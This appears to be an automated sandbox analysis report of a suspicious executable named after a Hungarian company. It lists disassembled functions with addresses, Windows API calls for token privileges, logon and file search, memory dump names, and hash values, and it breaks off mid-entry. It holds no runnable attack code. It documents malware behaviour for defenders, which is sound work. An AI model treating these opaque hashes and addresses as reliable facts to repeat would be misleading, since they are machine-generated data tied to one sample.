                                                              Download Yara Rule
                                                              APIs
                                                              • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00788774
                                                              • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0078878B
                                                              • FreeSid.ADVAPI32(?), ref: 0078879B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AllocateCheckFreeInitializeMembershipToken
                                                              • String ID:
                                                              • API String ID: 3429775523-0
                                                              • Opcode ID: 5ff3722d45f094f2b74436ab960ff82df198831647c8c78a931af2829d5ff410
                                                              • Instruction ID: b788b78f6bd5a1ff81445e25c26c76b085d4bc6e68778acb0aea473c0d1c5492
                                                              • Opcode Fuzzy Hash: 5ff3722d45f094f2b74436ab960ff82df198831647c8c78a931af2829d5ff410
                                                              • Instruction Fuzzy Hash: 90F04975A5130CBFDF00EFF4DC89EAEBBBCEF08601F5085A9E901E2191E6756A048B54
                                                              Function 00794C7F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 00794CB3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: mouse_event
                                                              • String ID: DOWN
                                                              • API String ID: 2434400541-711622031
                                                              • Opcode ID: 76e51fd45270f5ef5ad030bd6af25ae9a0986b5543ad51ac3658379cf16cc577
                                                              • Instruction ID: 8a455139d15bc493042cbd227f7cfc396504cec45ed85ef412b6cb471e2c24ba
                                                              • Opcode Fuzzy Hash: 76e51fd45270f5ef5ad030bd6af25ae9a0986b5543ad51ac3658379cf16cc577
                                                              • Instruction Fuzzy Hash: F3E08C7219E7213CBD042919BC0BEF7038C8B17732B500206FC10E50C2ED8C2C8764B8
                                                              Function 0079C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 0079C6FB
                                                              • FindClose.KERNEL32(00000000), ref: 0079C72B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Find$CloseFileFirst
                                                              • String ID:
                                                              • API String ID: 2295610775-0
                                                              • Opcode ID: a0722f80d8043763773c0f82edf13d904e2942529467786f95939c2a3b6b5e74
                                                              • Instruction ID: cc4011fe42fde1306c72aedbd8c95e1b75b70aa55676c3a5077ad5eb43e3e751
                                                              • Opcode Fuzzy Hash: a0722f80d8043763773c0f82edf13d904e2942529467786f95939c2a3b6b5e74
                                                              • Instruction Fuzzy Hash: 6411A1726002009FDB10EF29D889A6AF7E9FF85320F00861DF9A9C7291DB74AC01CF81
                                                              Function 0079A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,007A9468,?,007BFB84,?), ref: 0079A097
                                                              • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,007A9468,?,007BFB84,?), ref: 0079A0A9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorFormatLastMessage
                                                              • String ID:
                                                              • API String ID: 3479602957-0
                                                              • Opcode ID: effc9300582ddb4ecd670fc48ca3847c08e444c92bcb464ede337510ed2075e6
                                                              • Instruction ID: 0fade32a1c2722dac27d4cb4d68489008869c276f908ccd9687527339e62020b
                                                              • Opcode Fuzzy Hash: effc9300582ddb4ecd670fc48ca3847c08e444c92bcb464ede337510ed2075e6
                                                              • Instruction Fuzzy Hash: A2F0823510522DBBDB21AFA8DC4CFEA776CBF08761F008265F909D7181D6349944CBE1
                                                              Function 007881CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00788309), ref: 007881E0
                                                              • CloseHandle.KERNEL32(?,?,00788309), ref: 007881F2
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AdjustCloseHandlePrivilegesToken
                                                              • String ID:
                                                              • API String ID: 81990902-0
                                                              • Opcode ID: f6570df3cffb0abfc5fd1857efaffec17ee3a151ec895f4653346918c8cf1313
                                                              • Instruction ID: 85a5da2e23c94b2a1c41a96c573ca20bab099324349c59c282979dc70b1de24e
                                                              • Opcode Fuzzy Hash: f6570df3cffb0abfc5fd1857efaffec17ee3a151ec895f4653346918c8cf1313
                                                              • Instruction Fuzzy Hash: 6CE0EC72010611EFE7253B74EC09EB77BEAEF04311724C92DF8A684470DB66AC91DB54
                                                              Function 0075A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000,?,00758D57,?,?,?,00000001), ref: 0075A15A
                                                              • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0075A163
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled
                                                              • String ID:
                                                              • API String ID: 3192549508-0
                                                              • Opcode ID: eda1d0809941c7a52235831e9a209927083fb1ce432bcf344ade53782394d206
                                                              • Instruction ID: c79a09ea4873e3d384f3035ce4eb85ea600843cbebf55fd9bea24fb691b523eb
                                                              • Opcode Fuzzy Hash: eda1d0809941c7a52235831e9a209927083fb1ce432bcf344ade53782394d206
                                                              • Instruction Fuzzy Hash: 24B09231054208ABCA002B91EC09F883FA8EB44EA2F40C120F60E86060CB6654508A99
                                                              Function 0073E6A0 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              • Variable must be of type 'Object'., xrefs: 00773E62
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: Variable must be of type 'Object'.
                                                              • API String ID: 0-109567571
                                                              • Opcode ID: faab061faedcabe00cd1d259f670b6fa9bcddce6db160e61add6443cca0ea324
                                                              • Instruction ID: 61ce73050e7a82a97ca77de7868ebd425e34ea814586d545800a1bac6a4fb96c
                                                              • Opcode Fuzzy Hash: faab061faedcabe00cd1d259f670b6fa9bcddce6db160e61add6443cca0ea324
                                                              • Instruction Fuzzy Hash: 85A27D75A00209CFEB24CF58C484ABEB7B1FF58310F248469E945AB392D779ED42CB91
                                                              Function 0075F1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 9d838e02ae2c1b421526942a75e9a8bdf703a6af4e896f9fd2e2627cc66560ff
                                                              • Instruction ID: c3cf2bfbfc6995c05de46902f919100520e3490413310a694c869a7bb718fc3a
                                                              • Opcode Fuzzy Hash: 9d838e02ae2c1b421526942a75e9a8bdf703a6af4e896f9fd2e2627cc66560ff
                                                              • Instruction Fuzzy Hash: BE32F061D29F414DD7279A34C832326A349AFB73C5F15D73BEC1AB59A6EF2C98838104
                                                              Function 0076242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 35315e05ed32673dabd4031bca82af3e9fd4d280a511298af042ecac552b3334
                                                              • Instruction ID: 8b501f4f82efa0d4231cfa73963f7ab3e761ff4c07ac52592fe171f65d9dfb86
                                                              • Opcode Fuzzy Hash: 35315e05ed32673dabd4031bca82af3e9fd4d280a511298af042ecac552b3334
                                                              • Instruction Fuzzy Hash: BDB1F120D2AF854DD32396398835336BB5CAFBB2CAF51D71BFC2670D22EB2985834145
                                                              Function 00798889 Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __time64.LIBCMT ref: 0079889B
                                                                • Part of subcall function 0075520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00798F6E,00000000,?,?,?,?,0079911F,00000000,?), ref: 00755213
                                                                • Part of subcall function 0075520A: __aulldiv.LIBCMT ref: 00755233
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Time$FileSystem__aulldiv__time64
                                                              • String ID:
                                                              • API String ID: 2893107130-0
                                                              • Opcode ID: 9d794261135c17e5d72c008cf909c06f5fb28c608b8e0e7ec411563a08b07f05
                                                              • Instruction ID: d06449c92d12783cc69b21b7b357154d8f7e157135947fdb62032e886e6c5cf4
                                                              • Opcode Fuzzy Hash: 9d794261135c17e5d72c008cf909c06f5fb28c608b8e0e7ec411563a08b07f05
                                                              • Instruction Fuzzy Hash: 6B21B472635510CBC729CF25D841A62B3E1EFA5311B688E6CD1F5CF2D0CA78B905CB54
                                                              Function 007887B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00788389), ref: 007887D1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: LogonUser
                                                              • String ID:
                                                              • API String ID: 1244722697-0
                                                              • Opcode ID: 272fcdbcb9f44b570fbaf3e6310251950ce9b5895d34a0aba746a4db042fb093
                                                              • Instruction ID: b96c463106a268822caf3d28d23ad4e6c9a69a122c92d166ee039201768ef986
                                                              • Opcode Fuzzy Hash: 272fcdbcb9f44b570fbaf3e6310251950ce9b5895d34a0aba746a4db042fb093
                                                              • Instruction Fuzzy Hash: C1D05E3226050EABEF019EA4DC02EAE3B69EB04B01F408111FE15C50A1C775D835AB60
                                                              Function 0075A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetUnhandledExceptionFilter.KERNEL32(?), ref: 0075A12A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled
                                                              • String ID:
                                                              • API String ID: 3192549508-0
                                                              • Opcode ID: fc83450ad8e4b9ad6e8f8c2c539a091694dcd79032cfed2ec480597bf7ff47e0
                                                              • Instruction ID: 77eb02f5768379fd3b641c61d9c8ac366e738e6eb60ff829c90bbfe50c446bc3
                                                              • Opcode Fuzzy Hash: fc83450ad8e4b9ad6e8f8c2c539a091694dcd79032cfed2ec480597bf7ff47e0
                                                              • Instruction Fuzzy Hash: 5FA0113000020CAB8A002B82EC08888BFACEA00AA0B00C020F80E820228B32A8208A88
                                                              Function 00748808 Relevance: .6, Instructions: 590COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: eb383fae0df335f7f113c2508b543408ae9f6c9f3a322935bc3fce7e4050bea4
                                                              • Instruction ID: 4b113dd6449ef9956be9d86c99567850c2febfc610cd0e539264b83b254b9ee2
                                                              • Opcode Fuzzy Hash: eb383fae0df335f7f113c2508b543408ae9f6c9f3a322935bc3fce7e4050bea4
                                                              • Instruction Fuzzy Hash: 2B223530A0494ECBDF789A24C89477D77A1FF02344F28856BD9528B592EBBCAD91C743
                                                              Function 007521C5 Relevance: .3, Instructions: 345COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                              • Instruction ID: 411935b401c489fa27d053f8b60e053b7080a24d185eef5df3b248a6ff2b269a
                                                              • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                              • Instruction Fuzzy Hash: 14C1A5322051930AEF2D463984341BEBAA15EA37B375A075DDCB3CB4D5FE58C92ED620
                                                              Function 007525FA Relevance: .3, Instructions: 341COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                              • Instruction ID: 52805f53d9fcf556706d94e1eba2546e59bd8258c84cddb46b4acabc357376fd
                                                              • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                              • Instruction Fuzzy Hash: E4C1E63220519309EF2D4639C4341BEBAA15EA37B331A076DDCB2DB5C5EE58D92DD620
                                                              Function 00751978 Relevance: .3, Instructions: 323COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                              • Instruction ID: c6051f23a7851f7c86e8bde8751141637ae8447236834a312f5a74845d5c1a35
                                                              • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                              • Instruction Fuzzy Hash: 9FC1853230519309EF2D463984742BEBBA15EA27B335A075DDCB3CB5C4EE58C96DD620
                                                              Function 0196C748 Relevance: .1, Instructions: 92COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                              • Instruction ID: 4d9a4fcc1819ee3cf7c679d176ba1be61a51d1e0550c077202565dd0d33cd3ca
                                                              • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                              • Instruction Fuzzy Hash: C141D371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB90
                                                              Function 0196C638 Relevance: .0, Instructions: 35COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                              • Instruction ID: cb7313ed5abb2195a7671a97220482e9a2385fa63e950a516f86f74b0da8b666
                                                              • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                              • Instruction Fuzzy Hash: E6019278A00109EFCB44DF98C5909AEF7F9FB48310F208599E849A7301D730AE41DB94
                                                              Function 0196C5D8 Relevance: .0, Instructions: 35COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                              • Instruction ID: cc0a600698ee8058078eea73f1d9c8a19dbd09df975b35356b4053b70a12a780
                                                              • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                              • Instruction Fuzzy Hash: F301A478A00109EFCB44DF98C5909AEF7F9FF48310F208599E849A7745D730AE41DB94
                                                              Function 0196AF58 Relevance: .0, Instructions: 6COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                              • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
